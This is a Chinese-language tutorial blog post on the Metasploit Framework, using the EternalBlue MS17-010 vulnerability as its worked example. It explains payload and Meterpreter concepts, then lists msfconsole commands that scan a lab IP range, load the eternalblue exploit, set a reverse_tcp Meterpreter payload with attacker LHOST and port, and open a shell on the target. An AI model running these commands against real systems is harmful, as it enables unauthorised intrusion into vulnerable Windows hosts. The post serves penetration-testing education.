一文了解MSF

简介

Metasploit Framework(MSF)是一款开源安全漏洞监测工具,该工具已附带数千个已知的软件漏洞,且仍在保持更新。Metaploit可以用于信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被各大安全社区誉为"可以黑掉整个宇宙"。初期的Metasploit是采用Perl语言编写的,但在后来的新版改成了Ruby。我们常用的kali中则自带了Metasploit工具。本篇文章,我们以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,展开讲讲MSF框架的使用。

使用方法

1.基础使用

msfconsole                                                #进入框架
search  ms17_010                                          #使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_rterbaiblue              #使用use进入模块
info                                                      #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp           #设置攻击载荷(反向)
show options                                              #查看模块需要配置的参数
set RHOST 192.168.1.x                                     #设置参数
exploit / run                                             #攻击
后渗透过程                                                #后渗透过程

2.漏洞利用(exploit)

漏洞利用exploit,也就是我们常说的exp,它就是对漏洞进行攻击的代码。先看看exploit漏洞利用模块路径(这里面有针对不同平台的exploit)

/usr/share/metasploit-framework/modules/exploits

图片.png

进入Windows平台,在这里会列出针对Windows平台不同服务器的漏洞利用模块

图片.png

再进入smb服务,这是Windows中经常爆出漏洞的服务,我们要讲的永恒之蓝漏洞就在这里,漏洞利用代码通常是以rb结尾的文件(matasploit是Ruby编写的)。

图片.png

3.攻击载荷

payload:payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而Metasploit中的payload是一种特殊的模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了payload在目标中的行为。shellcode:shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。


3.1payload模块路径

/usr/share/metasploit-framework/modules/payloads

图片.png


3.2Metasploit中的payload模块主要类型

Single:是一种完全独立的payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。
由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非Metasploit处理工具所捕捉到。
Stager:这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。
一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。

另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

Stage:是Stager Payload下的一种Payload组件,这种payload可以提供更加高级的功能,而且没有大小限制。

在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型

# Single Payload的格式为:<target>/ <single>
如:Windows/powershell_bind_tcp# Stager/Stage 
Payload的格式为:<target>/ <stage> / <stager>
如:Windows/meterpreter/reverse_tcp
  • 当我们在Metasploit中执行 show payloads命令之后,它会给我们显示一个可使用的Payload列表

  • 注意:

在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload。而windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成。Stager中几种常见的payload

windows/meterpreter/bind_tcp                           #正向连接
windows/meterpreter/reverse_tcp                         #反向连接
windows/meterpreter/reverse_http                        #通过监听80端口反向连接
windows/meterpreter/reverse_https                        #通过监听443端口反向连接

正向连接使用场景

我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许指定的端口,比如对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。

反向连接使用场景

我们的主机和被攻击机都在外网或者都在内网,这样被攻击机就能主动连接到我们的主机了。如果是这种情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。

反向连接80和443端口使用场景

被攻击机能够主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。

4.Meterpreter

Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于"内存DLL注入"理念实现的。它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

4.1.Meterpreter是如何工作的

首先目标先要执行初始的溢出漏洞会话连接,可能是bind正向连接,或者反向reverse连接。反向连接的时候加载dll链接文件,同时后台悄悄处理dll文件。其次Meterpreter核心代码初始化,通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

4.2Meterpreter的特点

  • Meterpreter完全驻留内存,没有写入到磁盘。

  • Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其他正在运行的进程。

  • 默认情况下,Meterpreter的通信是加密的,所以很安全。

  • 扩展性,许多新的特征模块可以被加载。

我们在设置payloads时,可以将payloads设置为:Windows/meterpreter/reverse_tcp,然后获得了meterpreter> 之后我们就可以干很多事情了!具体做的事情,我们下面的后渗透阶段都有讲

5.MS17_010(永恒之蓝)

我们现在模拟使用MS17_010漏洞攻击,这个漏洞就是前些年危害全球的勒索病毒利用的永恒之蓝漏洞。

5.1 查找漏洞相关模块

5.2 搜索MS17_010漏洞

search ms17_010                #利用search命令,搜索漏洞相关利用模块

图片.png

这里找到了五个模块,前三个是漏洞利用,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。

5.3 利用Auxiliary辅助探测模块进行漏洞探测

Auxiliary辅助探测模块:该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。使用smb_ms17_010漏洞探测模块进行探测

use auxiliary/scanner/smb/smb_ms17_010

图片.pngc

查看这个模块需要的配置信息

show options                #查看这个模块需要配置的信息

图片.png

设置需要探测的远程目标

set rhosts 192.168.80.130-192.168.80.150

图片.png

对上述IP范围内的主机进行攻击

exploit

图片.png

5.4 使用exploit漏洞利用模块进行利

use exploit/windows/smb/ms17_010_eternalblue

图片.png

查看这个漏洞的信息

info

图片.png

图片.png

查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统

show targets

图片.png

注意:这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求很严格,比如MS08_067,这样我们就要指定模板系统的版本。如果不设置,MSF会自动帮我们判断模板系统的版本和语言(利用目标系统的指纹特征)。

5.5 Payload攻击载荷模块

攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行的任意命令。

show payloads     # 该命令可以查看当前漏洞利用模块下所有的payload

图片.png

设置攻击载荷

set payload windows/x64/meterpreter/reverse_tcp

图片.png

查看模块需要配置的参数

show options

图片.png

设置攻击载荷参数
set RHOST 192.168.80.131                   # 设置RHOST,也就是被攻击的IP
set LHOST 192.168.80.135                  # 设置LHOST,也就是我们的主机,用于接收从目标机弹回来的shell
set lport 1377                         # 设置lport,也就是我们主机的端口,反弹shell到这个端口

图片.png

进行攻击exploit或run


后渗透阶段

运行exploit命令之后,我们开启了一个reverse tcp监听器来监听本地的1377端口,即我们攻击者本地主机的地址和端口号。运行成功之后,我们将会看到命令提示符 meterpreter >


我们输入 shell即可切换到目标主机的Windows cmd_shell里面shell# 获取目标主机的cmd_shellchcp 65001# 这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码


要想从目标主机shell退出到meterpreter,我们输入exit





分享:

支付宝

微信